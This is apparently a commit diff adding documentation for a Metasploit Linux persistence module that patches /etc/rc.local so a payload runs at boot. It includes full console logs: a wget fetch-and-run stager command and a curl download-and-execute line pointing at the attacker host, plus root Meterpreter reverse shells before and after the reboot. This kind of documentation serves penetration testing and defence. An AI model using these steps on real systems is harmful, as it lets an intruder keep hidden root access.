|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module will edit `/etc/rc.local` in order to persist a payload. |
| 4 | +The payload will be executed on the next reboot. |
| 5 | + |
| 6 | +Verified on Ubuntu 18.04.3 |
| 7 | + |
| 8 | +### Verification |
| 9 | + |
| 10 | +1. Exploit a box and get a **root** session |
| 11 | +2. `use exploit/linux/persistence/rc_local` |
| 12 | +3. `set SESSION <session>` |
| 13 | +4. `set PAYLOAD <payload>` |
| 14 | +5. `set LHOST <lhost>` |
| 15 | +6. `exploit` |
| 16 | + |
| 17 | +## Options |
| 18 | + |
| 19 | +### PAYLOAD_NAME |
| 20 | + |
| 21 | +Name of the payload file if a `cmd` payload is not used. Defaults to a random name |
| 22 | + |
| 23 | +## Scenarios |
| 24 | + |
| 25 | +### Ubuntu 18.04.3 |
| 26 | + |
| 27 | +Initial access vector via web delivery |
| 28 | + |
| 29 | +``` |
| 30 | +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. |
| 31 | +resource (/root/.msf4/msfconsole.rc)> setg verbose true |
| 32 | +verbose => true |
| 33 | +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 |
| 34 | +lhost => 111.111.1.111 |
| 35 | +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery |
| 36 | +[*] Using configured payload python/meterpreter/reverse_tcp |
| 37 | +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 |
| 38 | +srvport => 8181 |
| 39 | +resource (/root/.msf4/msfconsole.rc)> set target 7 |
| 40 | +target => 7 |
| 41 | +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp |
| 42 | +payload => linux/x64/meterpreter/reverse_tcp |
| 43 | +resource (/root/.msf4/msfconsole.rc)> set lport 4545 |
| 44 | +lport => 4545 |
| 45 | +resource (/root/.msf4/msfconsole.rc)> set URIPATH l |
| 46 | +URIPATH => l |
| 47 | +resource (/root/.msf4/msfconsole.rc)> run |
| 48 | +[*] Exploit running as background job 0. |
| 49 | +[*] Exploit completed, but no session was created. |
| 50 | +[*] Starting persistent handler(s)... |
| 51 | +[*] Started reverse TCP handler on 111.111.1.111:4545 |
| 52 | +[*] Using URL: http://111.111.1.111:8181/l |
| 53 | +[*] Server started. |
| 54 | +[*] Run the following command on the target machine: |
| 55 | +wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown |
| 56 | +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > |
| 57 | +[*] Transmitting intermediate stager...(126 bytes) |
| 58 | +[*] Sending stage (3045380 bytes) to 222.222.2.222 |
| 59 | +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500 |
| 60 | +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 |
| 61 | +[*] Starting interaction with 1... |
| 62 | +(Meterpreter 1)(/home/ubuntu) > getuid |
| 63 | +Server username: root |
| 64 | +(Meterpreter 1)(/home/ubuntu) > sysinfo |
| 65 | +Computer : ubuntu18desktop.local |
| 66 | +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) |
| 67 | +Architecture : x64 |
| 68 | +BuildTuple : x86_64-linux-musl |
| 69 | +Meterpreter : x64/linux |
| 70 | +(Meterpreter 1)(/home/ubuntu) > background |
| 71 | +[*] Backgrounding session 1... |
| 72 | +``` |
| 73 | + |
| 74 | +Persistence |
| 75 | + |
| 76 | +``` |
| 77 | +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local |
| 78 | +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp |
| 79 | +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1 |
| 80 | +session => 1 |
| 81 | +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/ |
| 82 | +WritableDir => /home/ubuntu/ |
| 83 | +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit |
| 84 | +[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD& |
| 85 | +[*] Exploit running as background job 1. |
| 86 | +[*] Exploit completed, but no session was created. |
| 87 | +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > |
| 88 | +[*] Fetch handler listening on 111.111.1.111:8080 |
| 89 | +[*] HTTP server started |
| 90 | +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg |
| 91 | +[*] Started reverse TCP handler on 111.111.1.111:4444 |
| 92 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 93 | +[+] The target appears to be vulnerable. /etc/rc.local is writable |
| 94 | +[*] Reading /etc/rc.local |
| 95 | +[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt |
| 96 | +[*] Patching /etc/rc.local |
| 97 | +[+] Payload will be triggered at next reboot |
| 98 | +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc |
| 99 | +``` |
| 100 | + |
| 101 | +Reboot host |
| 102 | + |
| 103 | +``` |
| 104 | +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1 |
| 105 | +[*] Starting interaction with 1... |
| 106 | +(Meterpreter 1)(/home/ubuntu) > shell |
| 107 | +Process 2052 created. |
| 108 | +Channel 4 created. |
| 109 | +reboot |
| 110 | +[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died |
| 111 | +Terminate channel 4? [y/N] y |
| 112 | +[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value> |
| 113 | +[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) > |
| 114 | +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg |
| 115 | +[*] Sending payload to 222.222.2.222 (curl/7.58.0) |
| 116 | +[*] Transmitting intermediate stager...(126 bytes) |
| 117 | +[*] Sending stage (3045380 bytes) to 222.222.2.222 |
| 118 | +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500 |
| 119 | +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2 |
| 120 | +[*] Starting interaction with 2... |
| 121 | +(Meterpreter 2)(/) > getuid |
| 122 | +Server username: root |
| 123 | +(Meterpreter 2)(/) > |
| 124 | +``` |
0 commit comments